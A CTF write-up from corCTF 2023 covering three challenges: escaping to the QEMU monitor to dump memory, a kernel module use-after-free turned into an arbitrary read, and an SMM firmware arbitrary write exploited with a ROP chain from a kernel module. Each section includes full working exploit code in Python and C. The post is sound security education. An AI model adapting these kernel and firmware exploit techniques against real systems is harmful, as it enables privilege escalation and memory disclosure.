corCTF 2023
Last weekend I played corCTF with ARESx and DeadSec. The ctf was very good and had high quality challenges. We ended up in 7th place. I solved zeroday, kcipher and almost smm-diary but sadly didn’t have time to finish it. On Kcipher and smm-diary I worked together with my teammate stdnoerr.
This post is a writeup about the three challenges. The full exploit codes and challenge files can be found in my repository.
zeroday
Zero day was a kernel pwn challenge with a twist. We are given a linux kernel setup with a very recent kernel an no kernel module to pwn. As the challenge description hints, the bug lays somewhere in the configuration of the challenge rather than in the kernel.
When we look at the qemu run config we see nothing suspicious at the beginning.
qemu-system-x86_64 \
-s \
-m 128M \
-nographic \
-kernel "./bzImage" \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-smp 2 \
-initrd "./my_initramfs.cpio.gz"
While comparing it with configs of other ctf kernel challs I noticed however that -monitor none
option is not supplied. So I tried to enter qemu monitor mode by pressing CTRL-a c
and it worked :)
To get the flag I used the fact that the challenge uses ramfs
and simply dumped the heap using the x
command and then searched for the flag. I obtained a heap address by reading the GS segment register value using the info registers
command.
Exploit
from pwn import *
import subprocess
import re
io = remote("be.ax", 32578)
io.recvuntil("work:")
command = io.recvline().rstrip()
print("command: ", command)
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
print(stdout)
io.sendlineafter("solution:", stdout)
io.recvuntil("$")
io.send('\x01' + 'c')
io.sendline("info registers")
bla = io.recvuntil("XMM14")
gs_address = re.search(r'GS =\S+ (\S+)'.encode(), bla)
if gs_address:
print(gs_address.group(1))
heap_leak = int(gs_address.group(1), 0x10)
addr= heap_leak - 0x400000
0x1b3000
io.recvuntil("(qemu)")
leak = ""
with open("leaks", "wb+") as f:
for i in range(300):
io.sendline(f"x/10000gx {addr}")
leak = io.recvuntil("(qemu)")
f.write(leak)
addr += 10000*8;
io.interactive()
kcipher
Kcipher was a usual kernel pwn challenge. The challenge kernel module provides encryption functionality for ROT
, XOR
, A1Z26
and ATBASH
. We can select one of the operations and an argument for the operation, e.g. the value that will be used for XOR, and the module will create a file instance with the crypto operations as file operations and return a file descriptor to us.
Following is the important functionality in device_ioctl
:
if (param_2 == -0x12411100) {
puVar1 = (uint *)kmalloc_trace(___unregister_chrdev,0x400dc0,0x60);
if (puVar1 == (uint *)0x0) {
lVar2 = -0xc;
}
else {
puVar1[6] = 0;
fd = anon_inode_getfd("kcipher-buf",kcipher_cipher_fops,puVar1,2);
if (fd < 0) {
kfree(puVar1);
return (long)fd;
}
lVar2 = _copy_from_user(puVar1,param_3,8);
if (lVar2 == 0) {
if (*puVar1 < 4) {
strncpy((char *)(puVar1 + 7),(&ciphers)[*puVar1],0x40);
return (long)fd;
}
lVar2 = -0x16;
}
kfree(puVar1);
}
}
Once we have a fd
specific to the cryptographic operation, we can pass our input for encryption by writing to the fd
which will execute the cipher_write
function and obtain the encrypted result by reading from it which will execute the cipher_read
function.
Bug
The bug does not lay in any of the cryptographic operations as I initially anticipated. It is actually in the device_ioctl
function shown above.
The module first allocates a chunk of size 0x60
which will store the private_data
of the file struct created as a result of calling anon_inode_getfd
. Afterwards it then copies 8 bytes from user space and checks if the first 4 bytes interpreted as integer are smaller 4. This integer specifies the index of the cryptographic operations one wants to execute. If the number is bigger or equal than 4 it frees the private data chunk, however the module does not close the file descriptor. Therefore, we have an UAF
on a kmalloc-96
chunk.
To exploit this we first obtained two fds
for cryptographic operations. For the first one we triggered the vulnerability, freeing its private_data
chunk. We then wrote 0x60 bytes to the second fd
in order to trigger an allocation of a kmalloc-96
chunk and therefore obtain the just freed private_data
chunk. Since the cipher_write
function uses strncpy_from_user
we only filled 0xf
bytes of our buffer and then obtained a heap leak by reading the from the second fd.
We can obtain a heap leak this way, since the private_data
chunk stores information about the buffer we provide for encryption. Specifially, it stores the pointer to the chunk allocated to hold our data at offset 0x10
as can be seen in the following disassembly of parts of the cipher_write
function:
Having obtained a heap leak we thought about how we could exploit the UAF to escalate privileges to root but since this challenge also uses ramfs we decided to go the lazy route and simply search the heap for the flag. We obtained an AAR primitive by repeatedly overwriting the data chunk ptr stored in the UAFed private_data
chunk and then reading from the corrupted fd
.
Exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <errno.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/msg.h>
#include <sys/timerfd.h>
#include <sys/ioctl.h>
#define DEV_PATH "/dev/kcipher" // the path the device is placed
#define ulong unsigned long
#define PAGE_SZ 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
#define ARRAY_SIZE(a) (sizeof((a)) / sizeof((a)[0]))
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
#define WAIT(void) {getc(stdin); \
fflush(stdin);}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
errExit("KMALLOC"); \
}
static void print_hex8(void* buf, size_t len)
{
uint64_t* tmp = (uint64_t*)buf;
for (int i = 0; i < (len / 8); i++) {
printf("%d: %p ", i, tmp[i]);
if ((i + 1) % 2 == 0) {
printf("\n");
}
}
printf("\n");
}
void info(const char *format, ...) {
va_list args;
va_start(args, format);
printf("[+] ");
vprintf(format, args);
va_end(args);
}
void error(const char *format, ...) {
va_list args;
va_start(args, format);
printf("[x] ");
vprintf(format, args);
va_end(args);
}
#define CMD_ALLOC 0x13370000
#define CMD_FLIP 0x13370001
static void alloc(int fd, unsigned long sz)
{
int off = 0x0;
if (ioctl(fd, CMD_ALLOC, sz) < 0) {
errExit("ioctl");
}
}
static void flip(int fd, int off)
{
if (ioctl(fd, CMD_FLIP, off) < 0) {
errExit("ioctl");
}
}
static int get_cipher_fd(int fd, uint64_t cipher_num, bool ok_fail) {
int _fd = ioctl(fd, 0xedbeef00, &cipher_num);
if (_fd < 0 && !ok_fail) {
errExit("get_cipher_fd");
}
return _fd;
}
#define CRYPTO_ROT 0
#define CRYPTO_XOR 1
#define CRYPTO_ALZ26 2
#define CRYPTO_ATBASH 3
int main(int argc, char** argv)
{
int fd;
int ret;
fd = open(DEV_PATH, O_RDONLY);
if (fd < 0) {
errExit("open");
}
char buf[0x1000];
read(fd, buf, 0x100);
printf("Buf: %s \n", buf);
print_hex8(buf, 0x100);
uint64_t crypto_op = CRYPTO_XOR;
uint64_t crypto_arg = 0x0;
memset(buf, 0x41, sizeof(buf));
int fd2 = get_cipher_fd(fd, crypto_arg << 32 | crypto_op, false);
get_cipher_fd(fd, 0xdeadbeef, true);
int fd3 = 5;
write(fd3, buf, 0x8);
memset(buf, 0x0, sizeof(buf));
memset(buf, 'A', 0xf);
ret = write(fd2, buf, 0x60);
read(fd2, buf, 0x38);
print_hex8(buf, 0x40);
uint64_t* p_buf = (uint64_t*)buf;
uint64_t heap_leak = p_buf[0x2];
info("heap_leak: %p \n", heap_leak);
uint64_t read_addr = heap_leak - 0xa00000;
memset(buf, 0x42, 0x10);
p_buf[2] = heap_leak;
p_buf[2] = read_addr;
ret = write(fd2, buf, 0x60);
info("reading from : %p \n", read_addr);
while(true) {
memset(buf, 0x42, 0x10);
p_buf[2] = read_addr;
ret = write(fd2, buf, 0x60);
ret = read(fd3, buf, sizeof(buf));
for (int i = 0; i < sizeof(buf); i++) {
if (buf[i] = 0x63 && buf[i+1] == 0x6f && buf[i+2] == 0x72 && buf[i+3] == 0x63
&& buf[i+4] == 0x74) {
char* flag = &buf[i];
info("flag found :) %s ", flag);
print_hex8(&buf[i], 0x20);
return 0;
}
}
read_addr += sizeof(buf);
}
info("flag not found :( \n");
WAIT();
}
smm-diary
Smm-diary was a very interesting challenge. We are tasked with exploiting a system firmware application running in a special x86 operating mode called System Management Mode (SMM
). This mode is also called “ring -2” and is the most privileged execution mode on a x86 processor. It is used by system firmware like BIOS or UEFI and operates independently and transparent of any OS.
The System Management Interrupt (SMI
) can be used to put a CPU into SMM
mode. We can trigger an SMI
from software by writing to I/O port 0x2b
. The code executed when in SMM
mode is located in a specific region of memory called System Management RAM (SRAM
). This memory region is only accessible in SMM
mode.
Challenge
Besides a linux kernel and a couple of other files we are given a patch file for the EDK II Project. The patch adds a file to the Open Virtual Machine Firmware (OVMF) package that implements a simple diary application. We can store up to 20 notes in the diary and the notes can be at max 16 bytes long. After writing a note we can also read it or dump the whole diary. The logic of the application is implemented in a SMI handler
and the flag is stored in a global variable:
const CHAR8 *Flag = "corctf{test_flag_test_flag_test}";
typedef struct
{
UINT8 Note[16];
}DIARY_NOTE;
#define NUM_PAGES 20
...
DIARY_NOTE Book[NUM_PAGES];
EFI_STATUS
EFIAPI
CorctfSmmHandler (
IN EFI_HANDLE DispatchHandle,
IN CONST VOID *Context OPTIONAL,
IN OUT VOID *CommBuffer OPTIONAL,
IN OUT UINTN *CommBufferSize OPTIONAL
)
{
COMM_DATA *CommData = (COMM_DATA *)CommBuffer;
if (*CommBufferSize != sizeof(COMM_DATA))
{
DEBUG((DEBUG_INFO, "Invalid size passed to %a\n", __FUNCTION__));
DEBUG((DEBUG_INFO, "Expected Size: 0x%lx, got 0x%lx\n", sizeof(COMM_DATA), *CommBufferSize));
goto Failure;
}
if ((CommData->Cmd == ADD_NOTE || CommData->Cmd == GET_NOTE) && CommData->Idx >= NUM_PAGES)
{
DEBUG((DEBUG_INFO, "Invalid idx passed to %a\n", __FUNCTION__));
goto Failure;
}
switch (CommData->Cmd)
{
case ADD_NOTE:
TransferNote(&(CommData->Data.Note), CommData->Idx, TRUE);
break;
case GET_NOTE:
TransferNote(&(CommData->Data.Note), CommData->Idx, FALSE);
break;
case DUMP_NOTES:
DumpNotes(CommData->Data.Dest);
break;
default:
DEBUG((DEBUG_INFO, "Invalid cmd passed to %a, got 0x%lx\n", __FUNCTION__, CommData->Cmd));
goto Failure;
}
return EFI_SUCCESS;
Failure:
*CommBufferSize = -1;
return EFI_SUCCESS;
}
When a SMI
occurs, the correct SMI handler
to be invoked is identified by a GUID. This GUID is defined when the handler is initially registered:
Status = gSmst->SmiHandlerRegister (
CorctfSmmHandler,
&gEfiSmmCorctfProtocolGuid,
&DispatchHandle
);
To pass data to the diary application we need to write data to a Communication Buffer (ComBuffer
) and then trigger a SMI
. The ComBuffer
is a buffer which is accessible by non-SMM and SMM code and therefore allows communication with the SMM code.
How the fuck do we talk to this?
The by far biggest part of the challenge was to figure out how to actually communicate with the diary application. We couldn’t find any resources on how to specify or find the address of the ComBuffer
and all exploits we found online used the CHIPSEC python framework instead of C code.
After banging our heads against the wall for a couple of hours we decided to check how the CHIPSEC
framework actually communicates with with the system firmware. We found the send_smmc_SMI function which does exactly what we are looking for: write data to the ComBuffer
and then trigger a SMI
. This function specifies the address of the ComBuffer
and its size by writing to the SMM_CORE_PRIVATE_DATA struct (smmc). The address of the smmc
struct is found by scanning the EFI code regions for the string “smmc”.
The address of the ComBuffer
can not be arbitrary. After a couple of tries we found out that an address in the EFI_RUNTIME_SERVICES_DATA
region works.
We copied this functionality and implemented it in a kernel module, and sure enough, we were finally able to trigger the functions of the diary application :).
Vuln
The vulnerability of this challenge is in the DumpNotes
function. It dumps the whole diary to CommData->Data.Dest
, an address we provide, without doing any checks. Therefore, we can dump the diary at arbitrary addresses.
VOID
DumpNotes (
IN UINT8 *Dest
)
{
CopyMem(Dest, &Book, sizeof(Book));
}
Exploitation
To exploit this, we simply corrupted the stack and executed a ROP chain. This chain uses the CopyMem
function to copy the flag to the address of the CommBuffer
, which we can read from the kernel module. The chain then gracefully returns control back to the SMM code in order to exit from SMM mode. To ensure a correct return, we adjusted the stack pointer to point to an intact stack frame after running our ROP chain.
The addresses of EFI module code and stack are constant so we didn’t require any leaks and could just hardcode the addresses.
Exploit
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/acpi.h>
#include <linux/efi.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("HaxHax");
MODULE_DESCRIPTION("A simple Linux module.");
MODULE_VERSION("0.01");
#define EFI_CORCTF_SMM_PROTOCOL_GUID \
{ 0xb888a84d, 0x3888, 0x480e, { 0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b } }
#define ADD_NOTE 0x1337
#define GET_NOTE 0x1338
#define DUMP_NOTES 0x31337
#define SMBASE 0x7FFAF000
typedef struct
{
uint8_t note[16];
}diary_note;
typedef struct
{
uint32_t cmd;
uint32_t idx;
union transfer_data
{
diary_note note;
uint8_t *dest;
} data;
}comm_data_t;
#define CHUNK_SIZE (4096)
u64 _find_smmc(u64 start, u64 end) {
printk(KERN_INFO "_find_smmc, start: %llx, end: %llx \n", start, end);
u64 addr = start;
void *vaddr;
//char target[] = "smmc";
u32 target = cpu_to_le32(*(u32*)"smmc");
unsigned long size = end - start;
void *mapped_start;
mapped_start = ioremap(start, size);
if (!mapped_start) {
printk(KERN_ERR "ioremap failed for address range %llx to %llx\n", start, end);
return 0;
}
while (addr < end) {
vaddr = mapped_start + (addr - start);
if (*(u32*)vaddr == target) { // compare 4-byte chunks as u32
iounmap(mapped_start);
return addr;
}
addr += sizeof(target);
}
iounmap(mapped_start);
return 0;
}
// EFI_RUNTIME_SERVICES_DATA
u64 find_data_reg(void) {
efi_memory_desc_t *md;
u64 addr = 0;
u64 size, mmio_start, mmio_end;
for_each_efi_memory_desc(md) {
if (md->type == EFI_RUNTIME_SERVICES_DATA) {
size = md->num_pages << EFI_PAGE_SHIFT;
mmio_start = md->phys_addr;
mmio_end = mmio_start + size;
return mmio_start;
}
}
return 0;
}
// EFI_RUNTIME_SERVICES_CODE
static u64 find_smm_core_private_data(void)
{
efi_memory_desc_t *md;
u64 addr = 0;
u64 size, mmio_start, mmio_end;
for_each_efi_memory_desc(md) {
if (md->type == EFI_RUNTIME_SERVICES_CODE) {
size = md->num_pages << EFI_PAGE_SHIFT;
mmio_start = md->phys_addr;
mmio_end = mmio_start + size;
addr = _find_smmc(mmio_start, mmio_end);
if (addr) {
break;
}
}
}
return addr;
}
void write_phys_mem(unsigned long phys_addr, size_t size, const void *data) {
void __iomem *io_addr;
// Map the physical address to a virtual address
io_addr = ioremap(phys_addr, size);
if (!io_addr) {
pr_err("Failed to remap physical address %lx\n", phys_addr);
return;
}
// Write the data
memcpy_toio(io_addr, data, size);
// Unmap the address
iounmap(io_addr);
}
int read_phys_mem(unsigned long phys_addr, size_t size, const void *data) {
void __iomem *io_addr;
// Map the physical address to a virtual address
io_addr = ioremap(phys_addr, size);
if (!io_addr) {
pr_err("Failed to remap physical address %lx\n", phys_addr);
return -1;
}
// Write the data
memcpy_fromio(data,io_addr, size);
// Unmap the address
iounmap(io_addr);
return 0;
}
u64 payload_loc;
u64 smcc;
void __iomem* io_addr;
efi_guid_t target_guid = EFI_GUID(0xb888a84d, 0x3888, 0x480e, 0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b);
static void add_note(uint32_t idx, char* data) {
comm_data_t payload;
payload.cmd = ADD_NOTE;
payload.idx = idx;
size_t len = sizeof(payload) + 24;
memcpy(payload.data.note.note, data, sizeof(payload.data.note.note));
u64 combuf_off = 56;
u64 buffersz_off = combuf_off + 8;
u64 ret_off = buffersz_off + 8;
write_phys_mem(smcc + combuf_off, 8, &payload_loc);
write_phys_mem(smcc + buffersz_off, 8, &len);
memcpy_toio(io_addr, &target_guid, sizeof(efi_guid_t));
memcpy_toio(io_addr + sizeof(efi_guid_t), &len, sizeof(size_t));
memcpy_toio(io_addr + sizeof(efi_guid_t) + sizeof(size_t), &payload, sizeof(comm_data_t));
printk(KERN_INFO "Triggering OUT SMI for idx: %d \n", idx);
outb(0x0, 0xb2);
}
static void dump_notes(uint64_t dest) {
comm_data_t payload;
payload.cmd = DUMP_NOTES;
payload.data.dest = dest;
size_t len = sizeof(payload) + 24;
u64 combuf_off = 56;
u64 buffersz_off = combuf_off + 8;
u64 ret_off = buffersz_off + 8;
write_phys_mem(smcc + combuf_off, 8, &payload_loc);
write_phys_mem(smcc + buffersz_off, 8, &len);
memcpy_toio(io_addr, &target_guid, sizeof(efi_guid_t));
memcpy_toio(io_addr + sizeof(efi_guid_t), &len, sizeof(size_t));
memcpy_toio(io_addr + sizeof(efi_guid_t) + sizeof(size_t), &payload, sizeof(comm_data_t));
printk(KERN_INFO "Triggering dump SMI \n");
outb(0x0, 0xb2);
}
static void get_note(uint32_t idx, char* data) {
comm_data_t payload;
payload.cmd = GET_NOTE;
payload.idx = idx;
size_t len = sizeof(payload) + 24;
u64 combuf_off = 56;
u64 buffersz_off = combuf_off + 8;
u64 ret_off = buffersz_off + 8;
write_phys_mem(smcc + combuf_off, 8, &payload_loc);
write_phys_mem(smcc + buffersz_off, 8, &len);
memcpy_toio(io_addr, &target_guid, sizeof(efi_guid_t));
memcpy_toio(io_addr + sizeof(efi_guid_t), &len, sizeof(size_t));
memcpy_toio(io_addr + sizeof(efi_guid_t) + sizeof(size_t), &payload, sizeof(comm_data_t));
printk(KERN_INFO "Triggering IN SMI \n");
outb(0x0, 0xb2);
comm_data_t out;
memcpy_fromio(&out, io_addr + sizeof(efi_guid_t) + sizeof(size_t), sizeof(comm_data_t));
memcpy(data, out.data.note.note, sizeof(out.data.note.note));
}
static void dump_buf(void *buf, size_t sz)
{
uint64_t* p_buf = (uint64_t*)buf;
int i;
for (i = 0; i < sz / 8; i++) {
printk(KERN_INFO "%llx\n",p_buf[i]);
}
}
static int do_exp(void)
{
printk(KERN_INFO "do_exp called \n");
smcc = find_smm_core_private_data();
payload_loc = find_data_reg();
if (!payload_loc) {
printk(KERN_INFO "to find payload loc\n");
return -1;
}
// Map the physical address to a virtual address
io_addr = ioremap(payload_loc, PAGE_SIZE);
if (!io_addr) {
pr_err("unable to map payload loc %lx\n", payload_loc);
return -1;
}
if (smcc == 0) {
printk(KERN_INFO "unable to find smcc\n");
return -1;
}
printk(KERN_INFO "smmc addr: %llx \n", smcc);
uint64_t module_base = 0x0007FF9C000;
uint64_t flag_addr = 0x7ff9ebbc;
uint64_t copy_mem_addr = 0x7ff9dd26;
uint64_t nop = module_base + 0x1e6e;
uint64_t pop_r12_r13_ret = module_base + 0x1d43;
uint64_t pop_rbx_ret = module_base + 0x10e1;
uint64_t pop_rsp_r13_ret = module_base + 0x1d44;
uint64_t chain[] = {
pop_r12_r13_ret,
payload_loc,
flag_addr,
pop_rbx_ret,
0x40,
copy_mem_addr,
0x41,
0x41,
0x41,
0x41,
pop_rsp_r13_ret,
0x7ffb6c90, // rsp of an intact stackframe
};
char note[0x10];
uint64_t *p_note = (uint64_t*)note;
int idx = 0x0;
int i;
for (i = 0; i < 0x1; i++) {
p_note[0] = nop;
p_note[1] = nop;
add_note(idx++, note);
}
for (i = 0; i < sizeof(chain) / sizeof(uint64_t); i+= 2) {
p_note[0] = chain[i];
p_note[1] = chain[i + 1];
add_note(idx++, note);
}
uint64_t rsp = 0x7ffb6ab0;
dump_notes(rsp);
char flag[0x40];
memcpy_fromio(&flag, io_addr, sizeof(flag));
printk(KERN_INFO "Flag: %s \n", flag);
return 0;
}
static int __init hello_init(void) {
printk(KERN_INFO "Exploit module loaded\n");
return do_exp();
}
static void __exit hello_exit(void) {
printk(KERN_INFO "Exploit module unloaded\n");
}
module_init(hello_init);
module_exit(hello_exit);
// corctf{uNch3CKeD_c0Mm_BufF3r:(}